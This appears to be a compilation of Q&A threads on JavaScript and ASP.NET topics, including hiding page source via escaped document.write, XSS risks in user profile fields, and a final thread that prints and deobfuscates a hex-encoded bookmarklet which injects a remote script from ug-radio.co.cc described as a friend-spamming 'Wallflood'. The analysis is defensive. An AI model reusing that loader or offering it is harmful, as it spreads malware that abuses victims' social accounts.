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Convert Html to document.write javascript

I've see a web page that when I try to view the source, I only see a single JavaScript statement. I searched and could not figure out how they have done that. you can do and see yourself.
The web page is: Weird Page
when I view the source I only see something like below which also looks like a comment:
<script type='text/javascript' language='Javascript'>
<!--document.write(unescape('%3C%2........................
................
How they have done that? How I can change my web page so when someone view the source it look like that?

This article may help to clarify what's happening there.
Basically, this company has encoded their entire page using standard escape characters. If you copy the bit from unencode(...) all the way to the next to last parens, and paste it into your browser console, you'll see the actual HTML content.
If you look at the source code for the page I linked, you'll see the function that converts normal text to all escape characters:
// CONVERTS *ALL* CHARACTERS INTO ESCAPED VERSIONS.
function escapeTxt(os){
var ns='';
var t;
var chr='';
var cc='';
var tn='';
for(i=0;i<256;i++){
tn=i.toString(16);
if(tn.length<2)tn="0"+tn;
cc+=tn;
chr+=unescape('%'+tn);
}
cc=cc.toUpperCase();
os.replace(String.fromCharCode(13)+'',"%13");
for(q=0;q<os.length;q++){
t=os.substr(q,1);
for(i=0;i<chr.length;i++){
if(t==chr.substr(i,1)){
t=t.replace(chr.substr(i,1),"%"+cc.substr(i*2,2));
i=chr.length;
}
}
ns+=t;
}
return ns;
}

What is happening is pretty much what it sounds like. The server is serving a single <script> element, which contains an HTML comment to make it easier for browser that don't support JS (read more here: Why does Javascript ignore single line HTML Comments?), and in the comment it's writing to the document the unescaped version of the string, which is sent escaped.

Using MVC resource in Jquery - function stops working

I have a Jquery function in MVC View that check if at least one checkbox is clicked. Function is working properly if I use hardcoded string. But when I add
#Resources.myString into, it stops working, I can't figure out why
$('.form-horizontal').on('submit', function (e) {
if ($("input[type=checkbox]:checked").length === 0) {
e.preventDefault();
alert("This is working");
alert(#Resources.myString); //with this the function is not working anymore
return false;
}
});
I need to add the the string for multilingual purpose.
I tried diferent aproches
alert(#Resources.myString);
alert(#Html.Raw(Resources.myString))
var aaa = { #Html.Raw(Resources.myString)} //and calling the aaa
I think I am missing some basic knowlage of how this should work together

During page rendering, #Resources.myString will be injected as is in the code. For instance, if myString == "abc";, you'll end up with alert(abc); which is not what you want.
Just try to enclose your string in quotes:
alert("#Resources.myString");
As an aside, putting Razor code in Javascript logic is usually considered bad practice, as it prevents you from putting Javascript code in separate files (and therefore caching), and makes the code less readable.
Take a look as this question and the provided answer which gives a simple way to deal with that.

As ASP.NET dynamically generates HTML, CSS, JS code, the best way to find the error is to read the generated sources (Ctrl + U in most modern browsers).
You will see that your code
alert(#Resources.myString);
produces
alert(yourStringContent);
and should result in a console error yourStringContent is not defined.
You need to use quotes as you are working with a JavaScript string:
alert('#Resources.myString');
It will produce a correct JavaScript code like:
alert('yourStringContent');

What is dangerous in an HTML textarea?

I'm working on the profile section of my users.
They can define several things including their description ("About me") in a textarea, with a max of 400 characters.
In this description, I want to let my users use Font Awesome and Bootstrap icons. I also let them use JS tags (but not PHP ones). I guess this is pretty dangerous, therefore I wanted to know :
Is letting people use JS tags dangerous ? I know I must block functions like $.ajax but maybe there are somethings else.
Does a function which blocks string containing JS or PHP code exist in JS or jQuery ?
Is letting people use HTML tags and attributes dangerous for my site ?
Thank you !

As long as you escape all the tags before saving the form, I think it's all good.
You can do this with the following function:
function escapeTags(value){
return $('<div/>').text(value).html();
}
For eg. the following <script>alert("hello world")</script> will become <script>alert("hello world")</script>.
Also, you can do this with javascript only:
function htmlEntities(str) {
return String(str).replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"');
}
Source: https://css-tricks.com/snippets/javascript/htmlentities-for-javascript/
...if you take a look at comments you'll se that there's also a function that reverse my escapeTags function
// Encode/decode htmlentities
function krEncodeEntities(s){
return $j("<div/>").text(s).html();
}
function krDencodeEntities(s){
return $j("<div/>").html(s).text();
}

Yes, it's in fact very dangerous, and should only be allowed on a very limited set of "tags" or function calls.
Several systems like bbcode exist to address specifically these issues. i suggest implementing one of those.
They're easier to validate, and it is fairly easy to add new features to them.
It should be less work than validating actual js and php code and figuring out whether or not it is trying to do something malicious.

Convert C# string to JavaScript String

Does anybody know a way to convert a C# string to a JavaScript String in Asp.net. My code looks like this:
<script>
#{string thing = "Cats";}
var thing = String(#thing);
</script>
</div>
<body onload="eventAlert(thing)"></body>

You need to JavaScript Encode your string before you write it out, otherwise your string may contain characters that cause the JavaScript string constant to be terminated prematurely. You can do this with HttpUtility.JavaScriptStringEncode in the System.Web namespace. Once you have done that you need to stop razor from HTML Encoding the result which can be done with HtmlHelper.Raw like this:
#{string thing = "Cats Special Chars \"!'£$%^&*()#;:";}
var thing = "#Html.Raw(HttpUtility.JavaScriptStringEncode(thing))";

Try the following:
var thing = "#(thing)";

There are a couple of good ways to do this. But a very clean way is to use a cookie. This is clean because you are not injecting javascript code from the server into your static client code. Writing C# to create JavaScript and then insert that into a variable may have timing issues, depending on when your code runs and what .Net is doing. Be very careful in reading strings back for security concerns.

Can someone decrypt this javascript

i found it in a forum that tell me that this code would give me auto play for facebook games but i afraid that this is not what they say, im afraid that this is malicious script
please help :)
javascript:var _0x8dd5=["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"];(a=(b=document)[_0x8dd5[2]](_0x8dd5[1]))[_0x8dd5[0]]=_0x8dd5[3];b[_0x8dd5[5]][_0x8dd5[4]](a); void (0);

Let's start by decoding the escape sequences, and get rid of that _0x8dd5 variable name:
var x=[
"src","script","createElement","http://ug-radio.co.cc/flood.js",
"appendChild","body"
];
(a=(b=document)[x[2]](x[1]))[x[0]]=x[3];
b[x[5]][x[4]](a);
void (0);
Substituting the string from the array, you are left with:
(a=(b=document)["createElement"]("script"))["src"]="http://ug-radio.co.cc/flood.js";
b["body"]["appendChild"](a);
void (0);
So, what the script does is simply:
a = document.createElement("script");
a.src = "http://ug-radio.co.cc/flood.js";
document.body.appendChild(a);
void (0);
I.e. it loads the Javascript http://ug-radio.co.cc/flood.js in the page.
Looking at the script in the file that is loaded, it calls itself "Wallflood By X-Cisadane". It seems to get a list of your friends and post a message to (or perhaps from) all of them.
Certainly nothing to do with auto play for games.

I opened firebug, and pasted part of the script into the console (being careful to only paste the part that created a variable, rather than running code). This is what I got:
what I pasted:
console.log(["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"]);
the result:
["src", "script", "cx7 2eateElement", "x 68ttp://ug-rad io.co.cc/flox 6Fd.js", "appendC x68ild", "body"]
In short, what this looks like is script to load an external Javascript file from a remote server with a very dodgy looking domain name.
There are a few characters which are not converted quite to what you'd expect. This could be typos (unlikely) or deliberate further obfuscation, to fool any automated malware checker looking for scripts containing URLs or references to createElement, etc. The remainder of the script patches those characters back into place individually before running it.
The variable name _0x8dd5 is chosen to look like hex code and make the whole thing harder to read, but in fact it's just a regular Javascript variable name. It is referenced repeatedly in the rest of the script as it copies characters from one part of the string to another to fix the deliberate gaps.
Definitely a malicious script.
I recommend burning it immediately! ;-)

Well, the declared var is actually this:
var _0x8dd5= [
'src', 'script', 'cx7 2eateElement',
'x 68ttp://ug-rad io.co.cc/flox 6Fd.js', 'appendC x68ild', 'body'
];
The rest is simple to figure out.

Well your first statement is setting up an array with roughly the following contents:
var _0x8dd5 = ["src", "script", "createElement", "http://ug-radio.co.cc/flood.js", "appendChild", "body"];
I say "roughly" because I'm using Chrome's JavaScript console to parse the data, and some things seem to be a bit garbled. I've cleaned up the garbled portions as best as I can.
The rest appears to be calling something along the lines of:
var b = document;
var a = b.createElement("script");
a.src = "http://ug-radio.co.cc/flood.js";
b.body.appendChild(a);
So basically, it is adding a (probably malicious) script to the document.

You most probably know how to decode this or how it was encoded, but for those that aren't sure, it is nothing but 2-digit hexadecimal escape sequence. It could also be 4 digit one using \udddd (eg. "\u0032" is "2") or \ddd for octal.
Decoding hex string in javascript